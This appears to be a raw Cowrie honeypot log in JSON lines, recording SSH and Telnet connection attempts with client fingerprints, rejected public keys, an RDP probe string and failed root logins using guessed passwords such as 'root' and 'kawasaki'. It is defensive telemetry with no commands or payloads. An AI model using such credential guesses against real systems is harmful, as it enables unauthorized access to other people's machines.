{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:33.628924Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:f4:66:09:db:7a:e0:9f:b6:49:cf:e8:d7:fd:14:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDETOMsZue1SAnE1hgM5qKuqJQLr67X7Y4mYuqkOPbnUA1dMN62og2mW4t0XP4zAeIBQt68SMdLPRMJUUsrUZXpNSqbIMWJgVOqpD46VPeH9bmX8t3OJimmLvwkW0Ovy8LXnNA8sWXaWuQHAhlorW2yTPKuZxcr2dw4kWN7e8exIN1t2LuM5/JXEksUo8DKruOxjRWZfwJXwNBF4K0dixiij6Ly+7RhMwk609sTPFDlGKa6v7w+v02ZcihXILagvcJ3bpXj7u0n+c2YQeGj+6Kj+VRbtVEV1irDAzuJbdBWVYIAc/oTY0DtpjrUIjeaoERk81i5pWIBddLzdz+DphB64SNf6h96seurA3lHSplLg0ZyBkvm6vjYeJEGLMu11rrc3xbihU8ldSobl4Y0EASm0uPe0zhLEC6Zhi+bqmBy2kn8G6ik5/vpzjDh+8W4ctk5oM1x0le28SNdGcb7FW/KPHbFYELj0n7VfHUvhhKahWvW70hHdSh/zkC4C4BtmXc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:f4:66:09:db:7a:e0:9f:b6:49:cf:e8:d7:fd:14:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.089585Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:f4:66:09:db:7a:e0:9f:b6:49:cf:e8:d7:fd:14:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDETOMsZue1SAnE1hgM5qKuqJQLr67X7Y4mYuqkOPbnUA1dMN62og2mW4t0XP4zAeIBQt68SMdLPRMJUUsrUZXpNSqbIMWJgVOqpD46VPeH9bmX8t3OJimmLvwkW0Ovy8LXnNA8sWXaWuQHAhlorW2yTPKuZxcr2dw4kWN7e8exIN1t2LuM5/JXEksUo8DKruOxjRWZfwJXwNBF4K0dixiij6Ly+7RhMwk609sTPFDlGKa6v7w+v02ZcihXILagvcJ3bpXj7u0n+c2YQeGj+6Kj+VRbtVEV1irDAzuJbdBWVYIAc/oTY0DtpjrUIjeaoERk81i5pWIBddLzdz+DphB64SNf6h96seurA3lHSplLg0ZyBkvm6vjYeJEGLMu11rrc3xbihU8ldSobl4Y0EASm0uPe0zhLEC6Zhi+bqmBy2kn8G6ik5/vpzjDh+8W4ctk5oM1x0le28SNdGcb7FW/KPHbFYELj0n7VfHUvhhKahWvW70hHdSh/zkC4C4BtmXc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.094062Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:56:be:fc:cf:64:6b:bd:32:8a:69:1a:5c:88:0e:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLFljnL7WdiFqFWFH/hEWEoMH2Bo64WYP1fdZ+mthJ/hm1v7AngAy3crBy/pqUkhhauAvq1XrYR5j77ROZsUcj4bvZ93t3Yg01+NmnEHIaaG2pTCzQWYyVO5ef0kF8ZobQwhgf3ucVa1LkBq/AOzOyKNN4L7rJNSRKK/tiXAwvqrTNP9Jq5aIiCo+bO4G0MSiKW6jDMYypqC7htsfUyhid09dSc65GfE+1CmD94YtHM0hzC1p79lnpF7A3tBJMJYaJgd++Xz3wG847nCBRh8nOEjMDm5qD/2Rtt1Zk9IHrZmWHTV6Xmomf66jPFbc4sL+lKxpABFkIa/+PbhMgx6LHhnf00aFjBG28bRe/MxRb15v5bV0Xm5AzqBv2nklW/OAHhw791y/SNIoUiUOX9m08fEAVjn+ejLP8q7+F6IXSMMwW1vrMr2gXdW4GgK2hpmSQMOFWWYbfvtCl+RinDoGwNs/dZoQ6j5ew44DzH+lrHn+vb19G5+6BdnD1EZTwwiqrrJgwW9jl/7aMFuO/EReW8KycItzmjBXD09/Bbu8sGWhwgLjnC3cgSvn116f5R6v6EhZXUL06gZWZA+s1/nk/E3dwhaTCPyEjHQdLEO5MOiqzFFWgC96qvIpFXOXTaW2RYIyI7lc78tVtbFtOAg9FzK8v9eeeStKOb+TKUCrrGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:56:be:fc:cf:64:6b:bd:32:8a:69:1a:5c:88:0e:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.190274Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:56:be:fc:cf:64:6b:bd:32:8a:69:1a:5c:88:0e:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLFljnL7WdiFqFWFH/hEWEoMH2Bo64WYP1fdZ+mthJ/hm1v7AngAy3crBy/pqUkhhauAvq1XrYR5j77ROZsUcj4bvZ93t3Yg01+NmnEHIaaG2pTCzQWYyVO5ef0kF8ZobQwhgf3ucVa1LkBq/AOzOyKNN4L7rJNSRKK/tiXAwvqrTNP9Jq5aIiCo+bO4G0MSiKW6jDMYypqC7htsfUyhid09dSc65GfE+1CmD94YtHM0hzC1p79lnpF7A3tBJMJYaJgd++Xz3wG847nCBRh8nOEjMDm5qD/2Rtt1Zk9IHrZmWHTV6Xmomf66jPFbc4sL+lKxpABFkIa/+PbhMgx6LHhnf00aFjBG28bRe/MxRb15v5bV0Xm5AzqBv2nklW/OAHhw791y/SNIoUiUOX9m08fEAVjn+ejLP8q7+F6IXSMMwW1vrMr2gXdW4GgK2hpmSQMOFWWYbfvtCl+RinDoGwNs/dZoQ6j5ew44DzH+lrHn+vb19G5+6BdnD1EZTwwiqrrJgwW9jl/7aMFuO/EReW8KycItzmjBXD09/Bbu8sGWhwgLjnC3cgSvn116f5R6v6EhZXUL06gZWZA+s1/nk/E3dwhaTCPyEjHQdLEO5MOiqzFFWgC96qvIpFXOXTaW2RYIyI7lc78tVtbFtOAg9FzK8v9eeeStKOb+TKUCrrGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.194552Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:7a:fb:cb:ae:25:20:8e:02:c2:fc:45:5d:0a:08:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDxwffUIsgtb1eIcc8K+CRiq9muHVR1IgGbCStedgdQFXfKfzaJsn/DZTf1mCTLh0gYN2L/+mlSImwX9mEN5fHAThQ8S/A91wjohiPk5iQHEX56LRpOuqEpC4bKeDrs6Fm585+wCX8KHUe62l5IfZwSu6Fi2oP0GLpX1ZRPAftGyJMNPvLKthTwY2I/ZCk17PXPTJ8bTIpiiJXBnZ/M9aN2MdZnMy18O+qLTSYeWvEvPaFBpENBaAyk4GKWdIsrJeVW4POy/WMGyQQs6VTr+rlh8Yb8vaP8mDze8VRpzvQpq0TPqw4TJpECKnY6yrGZJTJ3/MmlSfDkVOsxqX6ODaZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:7a:fb:cb:ae:25:20:8e:02:c2:fc:45:5d:0a:08:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.291365Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:7a:fb:cb:ae:25:20:8e:02:c2:fc:45:5d:0a:08:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDxwffUIsgtb1eIcc8K+CRiq9muHVR1IgGbCStedgdQFXfKfzaJsn/DZTf1mCTLh0gYN2L/+mlSImwX9mEN5fHAThQ8S/A91wjohiPk5iQHEX56LRpOuqEpC4bKeDrs6Fm585+wCX8KHUe62l5IfZwSu6Fi2oP0GLpX1ZRPAftGyJMNPvLKthTwY2I/ZCk17PXPTJ8bTIpiiJXBnZ/M9aN2MdZnMy18O+qLTSYeWvEvPaFBpENBaAyk4GKWdIsrJeVW4POy/WMGyQQs6VTr+rlh8Yb8vaP8mDze8VRpzvQpq0TPqw4TJpECKnY6yrGZJTJ3/MmlSfDkVOsxqX6ODaZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.295656Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:df:7c:de:90:13:89:9c:9b:96:ee:66:44:a1:82:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuPkHx/4TWL3EopEF+Qpdh7wEZXQlIs8ukX4pBS1lA6MT1d1V+5W0DjLRgsEXPuxFVkzHrcw9ekCjFy2Ddv15SgWRcTBU9LGQdqseAIJLeqb8XfYkpi/TgEL/QH1R4CwDBfLct4ledylRQUKP44MBZ/MS7f78AL7qNgnXzZDwyBJVcfgcjJHAjYwEx+H1Wqa2SQHnYc617Z2SBo5RQoXk47OEkfX27glbbDKr8MpApTcaGvUm1Jg95pycR53EAN647wYnCfChfPWfiBLAgaYvr5Vx6oZryeN0A4g0KAIcsAFU11RvMpJxhR8XubcGb1xLFdxQQFwhVSWie9fGR4AOWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:df:7c:de:90:13:89:9c:9b:96:ee:66:44:a1:82:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.393348Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:df:7c:de:90:13:89:9c:9b:96:ee:66:44:a1:82:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuPkHx/4TWL3EopEF+Qpdh7wEZXQlIs8ukX4pBS1lA6MT1d1V+5W0DjLRgsEXPuxFVkzHrcw9ekCjFy2Ddv15SgWRcTBU9LGQdqseAIJLeqb8XfYkpi/TgEL/QH1R4CwDBfLct4ledylRQUKP44MBZ/MS7f78AL7qNgnXzZDwyBJVcfgcjJHAjYwEx+H1Wqa2SQHnYc617Z2SBo5RQoXk47OEkfX27glbbDKr8MpApTcaGvUm1Jg95pycR53EAN647wYnCfChfPWfiBLAgaYvr5Vx6oZryeN0A4g0KAIcsAFU11RvMpJxhR8XubcGb1xLFdxQQFwhVSWie9fGR4AOWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.397901Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:20:75:7d:60:e5:d8:10:29:97:70:af:f5:4d:d2:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqvmbRQ9Kyq9t6E3Mb0p+53pt0nts3fSD64Ij/geC4fAMPIJo7nqM/E8W0xRzQMFo76Q6i995OqlARoBGlbiMEH8DYfJx+Lh/2Y4FwriAZ25x3/hHUe8qL6CmQ4ZZsk4UKyWqDXQ3mxGrCdcbkdGbpk7xdVDxkqNHxoQ+hnaDoeNIREFNSjh8HsQfaq0TW+B07vtk1K7cpTERSpjENO8ecYv126KwkUYwIWe/mqWXD7YcuURd/Olnt4kpm+Ik7PLkPXQSCkgfPNPrK3pzE7RVlydRGmNw3CMkgsr+luBWqJdr/M632AWdVsjf4bX+5TX70Y4RKMBtsr3l2oWntdPskQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:20:75:7d:60:e5:d8:10:29:97:70:af:f5:4d:d2:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.494056Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:20:75:7d:60:e5:d8:10:29:97:70:af:f5:4d:d2:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqvmbRQ9Kyq9t6E3Mb0p+53pt0nts3fSD64Ij/geC4fAMPIJo7nqM/E8W0xRzQMFo76Q6i995OqlARoBGlbiMEH8DYfJx+Lh/2Y4FwriAZ25x3/hHUe8qL6CmQ4ZZsk4UKyWqDXQ3mxGrCdcbkdGbpk7xdVDxkqNHxoQ+hnaDoeNIREFNSjh8HsQfaq0TW+B07vtk1K7cpTERSpjENO8ecYv126KwkUYwIWe/mqWXD7YcuURd/Olnt4kpm+Ik7PLkPXQSCkgfPNPrK3pzE7RVlydRGmNw3CMkgsr+luBWqJdr/M632AWdVsjf4bX+5TX70Y4RKMBtsr3l2oWntdPskQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.497815Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:34.593262Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.559823751449585,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:54.520103Z","src_ip":"152.42.224.71","session":"71f6d072f016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":39092,"dst_ip":"159.203.135.109","dst_port":22,"session":"862556b3cc73","protocol":"ssh","message":"New connection: 103.122.221.179:39092 (159.203.135.109:22) [session: 862556b3cc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:56.760017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:56.765486Z","src_ip":"103.122.221.179","session":"862556b3cc73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:57.020873Z","src_ip":"103.122.221.179","session":"862556b3cc73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kawasaki","message":"login attempt [root/kawasaki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:57.785883Z","src_ip":"103.122.221.179","session":"862556b3cc73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:59.044581Z","src_ip":"103.122.221.179","session":"862556b3cc73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58059,"dst_ip":"159.203.135.109","dst_port":22,"session":"bab1a1c27f4c","protocol":"ssh","message":"New connection: 167.172.81.52:58059 (159.203.135.109:22) [session: bab1a1c27f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:36:27.031539Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:36:27.036590Z","src_ip":"167.172.81.52","session":"bab1a1c27f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:36:27.040891Z","src_ip":"167.172.81.52","session":"bab1a1c27f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":43884,"dst_ip":"10.17.0.5","dst_port":22,"session":"555d95063db2","protocol":"ssh","message":"New connection: 193.228.128.84:43884 (10.17.0.5:22) [session: 555d95063db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:06.242295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:06.247767Z","src_ip":"193.228.128.84","session":"555d95063db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:06.350736Z","src_ip":"193.228.128.84","session":"555d95063db2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456654","message":"login attempt [root/456654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:06.657579Z","src_ip":"193.228.128.84","session":"555d95063db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:07.762929Z","src_ip":"193.228.128.84","session":"555d95063db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51076,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d7b39bfbc5","protocol":"telnet","message":"New connection: 152.42.224.71:51076 (10.17.0.5:23) [session: 08d7b39bfbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:25.144057Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":46160,"dst_ip":"159.203.135.109","dst_port":23,"session":"a30364e2a375","protocol":"telnet","message":"New connection: 176.65.139.118:46160 (159.203.135.109:23) [session: a30364e2a375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:48.234735Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52210,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd01bad90eb","protocol":"telnet","message":"New connection: 152.42.224.71:52210 (10.17.0.5:23) [session: 0fd01bad90eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:49.292096Z"}
{"eventid":"cowrie.session.closed","duration":3.4145009517669678,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:51.649096Z","src_ip":"176.65.139.118","session":"a30364e2a375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":40052,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b96001cca30","protocol":"telnet","message":"New connection: 176.65.139.118:40052 (159.203.135.109:23) [session: 1b96001cca30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:52.792105Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:58.666208Z","src_ip":"176.65.139.118","session":"1b96001cca30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.8628528118133545,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:59.654830Z","src_ip":"176.65.139.118","session":"1b96001cca30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":47634,"dst_ip":"159.203.135.109","dst_port":23,"session":"041f720c168a","protocol":"telnet","message":"New connection: 176.65.139.118:47634 (159.203.135.109:23) [session: 041f720c168a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:37:59.827517Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58592,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc0603eece0b","protocol":"telnet","message":"New connection: 152.42.224.71:58592 (10.17.0.5:23) [session: cc0603eece0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:04.563358Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:06.890308Z","src_ip":"176.65.139.118","session":"041f720c168a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.094925165176392,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:38:07.922352Z","src_ip":"176.65.139.118","session":"041f720c168a","protocol":"telnet"}
